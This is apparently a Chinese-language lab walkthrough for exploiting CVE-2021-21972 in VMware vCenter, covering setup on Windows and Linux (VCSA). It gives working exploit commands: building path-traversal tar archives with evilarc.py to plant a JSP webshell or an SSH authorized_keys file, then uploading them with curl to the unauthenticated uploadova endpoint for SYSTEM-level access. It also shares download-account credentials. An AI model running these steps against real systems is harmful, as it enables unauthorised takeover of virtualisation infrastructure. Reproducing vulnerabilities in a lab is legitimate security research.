参考链接
漏洞描述
CVE-2021-21972:未经认证的文件上传导致的RCE
影响范围
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
下载链接
这里提供一些百度云VIP共享账号,兄弟们可以用这些账户高速下载
当然,你也可以自行下载安装镜像:
下载这个需要登录,这里直接提供一个账户供大家使用:
[email protected]
xkacon123j!$Ehh.onli
安装
windows
建议使用windows server 2012 R2
内存要求至少8G
推荐使用物理及安装,我在使用vmware虚拟机安装时遇到未知错误,未解决
此外,当前机器不能是域控制器
所安装的机器 不能是域控制器
先安装更新Windows8.1-KB2919355-x64.msu
,然后再安装更新Windows8.1-KB2999226-x64.msu
如果在安装更新时出现无法找到指定路径的错误,可创建目录C:\programdata\package cache
,再重新安装即可,之后便可安装vcenter6.7
密码:
[email protected]
qwe123...A
安装完成之后打开https://your-computer-IP/ui/
进行登录
vCenter登录界面和控制面板:
linux
linux安装vCenter其实就是将虚拟机部署到esxi中的过程
linux版的vCenter叫做VCSA(vCenter Server Appliance)
在镜像中有一个ova文件,理论上来讲,直接使用vmWare workstation导入该虚拟机即可,但是我尝试过多次,均以各种报错告终,最后还是老老实实在vmware workstation中安装了esxi,然后部署vcsa
注意,在安装esxi的时候,内存要大于10G,推荐分配12G,磁盘要大于240G
我建议各位在安装的时候最好先搞一个DNS服务器(可以通过安装AD中的集成DNS实现),以配置域名,不然在安装vcsa的时候,可能会出现机器名无效的错误
安装完成
在配置的时候我设置的DNS服务器是自己的,FQDN也是penhub.space域(我的AD-DNS域)
漏洞复现
检测漏洞
在未登录的情况下直接访问https://your-computer-IP/ui/vropspluginui/rest/services/getstatus
如果返回如下响应及证明CVE-2021-21972
(认证绕过)漏洞存在
针对windows环境
首先制作一个恶意的tar压缩包,这里我使用evilarc.py
使用的jsp木马是Browser.jsp
使用如下命令构造恶意压缩包:
python evilarc.py -d 2 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar Browser.jsp
其中-d
选项指定层级,2层就足够穿越到C:\
根目录了,当然为了保险起见,你可以写一个更大的值
ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport
是要穿越到的目录,这个目录中的jsp文件可以直接从web端访问到
然后使用curl将制作好的恶意压缩包上传至vCenter服务器
curl -k -F "[email protected]" https://your-computer-IP/ui/vropspluginui/rest/services/uploadova
然后访问我们的webshell(https://your-computer-IP/statsreport/Browser.jsp)可:
可以看到,我们的权限是nt authority\system
linux环境
首先验证漏洞
访问如下路径:
https://photon-machine.penhub.space/ui/vropspluginui/rest/services/getstatus
存在未授权漏洞
对于linux,我们直接写ssh公钥到/home/vsphere-ui/.ssh/authorized_keys
文件
构造恶意压缩包,注意这次的格式是unix
python evilarc.py -d 2 -p 'home/vsphere-ui/.ssh' -o unix -f exp.tar authorized_key
上传恶意压缩包
curl -k -F "[email protected]" https://photon-machine.penhub.space/ui/vropspluginui/rest/services/uploadova
登陆成功
这种方式看很有可能不会奏效,因为vcsa默认情况下是关闭ssh的
在esxi控制台中进入vcsa虚拟机,F2进入管理界面,输入密码,选中Troubleshooting Mode Options
可以看到,ssh默认是关闭的,你使用ssh工具去连接,也是连不上的
只有当管理员打开了这个选项的时候使用这种利用方式才行得通,但是一般情况下是不会打开的,因为没必要,esxi本身就可以远程管理
根据上面windows的利用方式,考虑上传文件到如下位置:
/usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport
构造恶意压缩包
python evilarc.py -d 2 -p 'usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport' -o unix -f winexpl.tar Browser.jsp
上传恶意压缩包
curl -k -F "[email protected]" https://photon-machine.penhub.space/ui/vropspluginui/rest/services/uploadova
直接返回FAILED
估计是权限的原因,这个目录我写不进去文件
drwxr-xr-x 9 perfcharts cis 4096 Mar 7 18:38 /usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport
我当前的用户是vsphere-ui
,因此无法写入,上传过程中出现异常,返回FAILED
使用网上的exp,成功上传shell(冰蝎)
看了一下利用代码,利用的路径是/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global
在该路径下有很多以数字命名的目录,部分目录中存在可以直接从前端访问的资源文件
至于这个目录是怎么找到的,其实很简单,登录进vsphere html5 client之后,随便找个图片或者css文件,在vcsa中用find命令找一下就找到了
由于不知道目录名和war包名的对应关系(可能根本就没有关系,目录名是根据war部署先后顺序确定的),因此exp代码中采用了爆破的方式,将所有的目录都试一遍